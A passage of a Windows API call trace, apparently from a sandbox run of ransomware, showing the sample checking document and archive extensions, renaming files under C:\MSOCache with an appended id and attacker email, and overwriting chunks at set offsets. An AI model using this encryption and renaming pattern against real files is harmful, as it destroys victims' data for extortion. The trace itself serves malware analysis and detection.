	[0092.424] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0092.424] WriteFile (in: hFile=0x17c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x336fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x336fcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0092.442] SetEndOfFile (hFile=0x17c) returned 1
	[0092.442] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f202a8
	[0093.012] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0093.012] WriteFile (in: hFile=0x17c, lpBuffer=0x3f202a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f202a8*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0093.013] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0093.013] WriteFile (in: hFile=0x17c, lpBuffer=0x3f202a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f202a8*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0093.013] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0093.014] WriteFile (in: hFile=0x17c, lpBuffer=0x3f202a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f202a8*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0093.055] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f202a8 | out: hHeap=0x4a0000) returned 1
	[0093.088] CloseHandle (hObject=0x17c) returned 1
	[0095.545] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0095.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0095.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0095.545] lstrlenW (lpString=".doc") returned 4
	[0095.545] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0095.545] lstrlenW (lpString=".docx") returned 5
	[0095.545] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0095.545] lstrlenW (lpString=".pdf") returned 4
	[0095.545] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0095.545] lstrlenW (lpString=".xls") returned 4
	[0095.545] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0095.545] lstrlenW (lpString=".xlsx") returned 5
	[0095.546] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0095.546] lstrlenW (lpString=".ppt") returned 4
	[0095.546] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0095.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0095.546] lstrlenW (lpString=".zip") returned 4
	[0095.546] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0095.546] lstrlenW (lpString=".rar") returned 4
	[0095.546] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0095.546] lstrlenW (lpString=".bz2") returned 4
	[0095.546] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0095.546] lstrlenW (lpString=".7z") returned 3
	[0095.546] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0095.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0095.546] lstrlenW (lpString=".dbf") returned 4
	[0095.546] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0095.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0095.546] lstrlenW (lpString=".1cd") returned 4
	[0095.546] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0095.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0095.546] lstrlenW (lpString=".jpg") returned 4
	[0095.546] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0095.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0095.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0095.546] lstrlenW (lpString=".doc") returned 4
	[0095.546] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0095.546] lstrlenW (lpString=".docx") returned 5
	[0095.546] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0095.547] lstrlenW (lpString=".pdf") returned 4
	[0095.547] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0095.547] lstrlenW (lpString=".xls") returned 4
	[0095.547] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0095.547] lstrlenW (lpString=".xlsx") returned 5
	[0095.547] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0095.547] lstrlenW (lpString=".ppt") returned 4
	[0095.547] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0095.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0095.547] lstrlenW (lpString=".zip") returned 4
	[0095.547] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0095.547] lstrlenW (lpString=".rar") returned 4
	[0095.547] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0095.547] lstrlenW (lpString=".bz2") returned 4
	[0095.547] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0095.547] lstrlenW (lpString=".7z") returned 3
	[0095.547] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0095.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0095.547] lstrlenW (lpString=".dbf") returned 4
	[0095.547] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0095.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0095.547] lstrlenW (lpString=".1cd") returned 4
	[0095.547] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0095.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74
	[0095.547] lstrlenW (lpString=".jpg") returned 4
	[0095.547] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0095.548] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0095.548] lstrlenW (lpString="Proof.cab") returned 9
	[0095.548] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0095.998] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=13642474) returned 1
	[0095.998] CloseHandle (hObject=0x1ac) returned 1
	[0095.998] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020
	[0095.998] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0095.999] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0095.999] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0095.999] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0x0) returned 1
	[0095.999] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0095.999] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b60058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0096.079] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0096.079] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0096.097] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.098] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0096.098] ReadFile (in: hFile=0x1ac, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0096.365] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0096.365] WriteFile (in: hFile=0x1ac, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x336fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x336fcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0096.380] SetEndOfFile (hFile=0x1ac) returned 1
	[0096.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f602b8
	[0096.386] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0096.386] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f602b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f602b8*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0096.387] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0096.387] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f602b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f602b8*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0096.388] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0096.388] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f602b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f602b8*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0096.389] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f602b8 | out: hHeap=0x4a0000) returned 1
	[0096.389] CloseHandle (hObject=0x1ac) returned 1
	[0099.301] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0099.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0099.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0099.302] lstrlenW (lpString=".doc") returned 4
	[0099.302] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0099.302] lstrlenW (lpString=".docx") returned 5
	[0099.302] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1
	[0099.302] lstrlenW (lpString=".pdf") returned 4
	[0099.302] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0099.302] lstrlenW (lpString=".xls") returned 4
	[0099.302] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0099.303] lstrlenW (lpString=".xlsx") returned 5
	[0099.304] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1
	[0099.304] lstrlenW (lpString=".ppt") returned 4
	[0099.304] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0099.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0099.304] lstrlenW (lpString=".zip") returned 4
	[0099.304] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0099.304] lstrlenW (lpString=".rar") returned 4
	[0099.304] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0099.304] lstrlenW (lpString=".bz2") returned 4
	[0099.304] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0099.304] lstrlenW (lpString=".7z") returned 3
	[0099.304] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0099.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0099.304] lstrlenW (lpString=".dbf") returned 4
	[0099.304] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0099.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0099.304] lstrlenW (lpString=".1cd") returned 4
	[0099.304] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0099.305] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0099.306] lstrlenW (lpString=".jpg") returned 4
	[0099.306] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0099.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0099.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0099.306] lstrlenW (lpString=".doc") returned 4
	[0099.306] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0099.306] lstrlenW (lpString=".docx") returned 5
	[0099.306] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1
	[0099.306] lstrlenW (lpString=".pdf") returned 4
	[0099.306] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0099.306] lstrlenW (lpString=".xls") returned 4
	[0099.306] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0099.306] lstrlenW (lpString=".xlsx") returned 5
	[0099.306] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1
	[0099.306] lstrlenW (lpString=".ppt") returned 4
	[0099.306] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0099.306] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0099.306] lstrlenW (lpString=".zip") returned 4
	[0099.307] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0099.307] lstrlenW (lpString=".rar") returned 4
	[0099.307] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0099.307] lstrlenW (lpString=".bz2") returned 4
	[0099.307] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0099.307] lstrlenW (lpString=".7z") returned 3
	[0099.307] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0099.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0099.307] lstrlenW (lpString=".dbf") returned 4
	[0099.307] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0099.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0099.307] lstrlenW (lpString=".1cd") returned 4
	[0099.307] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0099.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81
	[0099.307] lstrlenW (lpString=".jpg") returned 4
	[0099.307] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0099.308] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0099.308] lstrlenW (lpString="OnoteLR.cab") returned 11
	[0099.308] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0099.416] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=17456632) returned 1
	[0099.416] CloseHandle (hObject=0x1ac) returned 1
	[0099.416] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020
	[0099.416] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.416] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0099.417] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0099.417] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0x0) returned 1
	[0099.419] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.419] ReadFile (in: hFile=0x1ac, lpBuffer=0x3b60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b60058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.459] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.459] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.519] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.519] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.519] ReadFile (in: hFile=0x1ac, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.639] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.639] WriteFile (in: hFile=0x1ac, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x336fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x336fcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0099.658] SetEndOfFile (hFile=0x1ac) returned 1
	[0099.658] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0099.658] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.658] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.659] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.659] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.660] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.660] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.663] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0099.663] CloseHandle (hObject=0x1ac) returned 1
	[0099.663] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0099.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0099.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0099.663] lstrlenW (lpString=".doc") returned 4
	[0099.663] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0099.663] lstrlenW (lpString=".docx") returned 5
	[0099.663] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0099.664] lstrlenW (lpString=".pdf") returned 4
	[0099.664] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0099.664] lstrlenW (lpString=".xls") returned 4
	[0099.664] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0099.664] lstrlenW (lpString=".xlsx") returned 5
	[0099.664] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0099.664] lstrlenW (lpString=".ppt") returned 4
	[0099.664] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0099.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0099.664] lstrlenW (lpString=".zip") returned 4
	[0099.664] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0099.664] lstrlenW (lpString=".rar") returned 4
	[0099.664] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0099.664] lstrlenW (lpString=".bz2") returned 4
	[0099.664] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0099.664] lstrlenW (lpString=".7z") returned 3
	[0099.664] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0099.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0099.664] lstrlenW (lpString=".dbf") returned 4
	[0099.664] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0099.664] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74
	[0099.664] lstrlenW (lpString=".1cd") returned 4
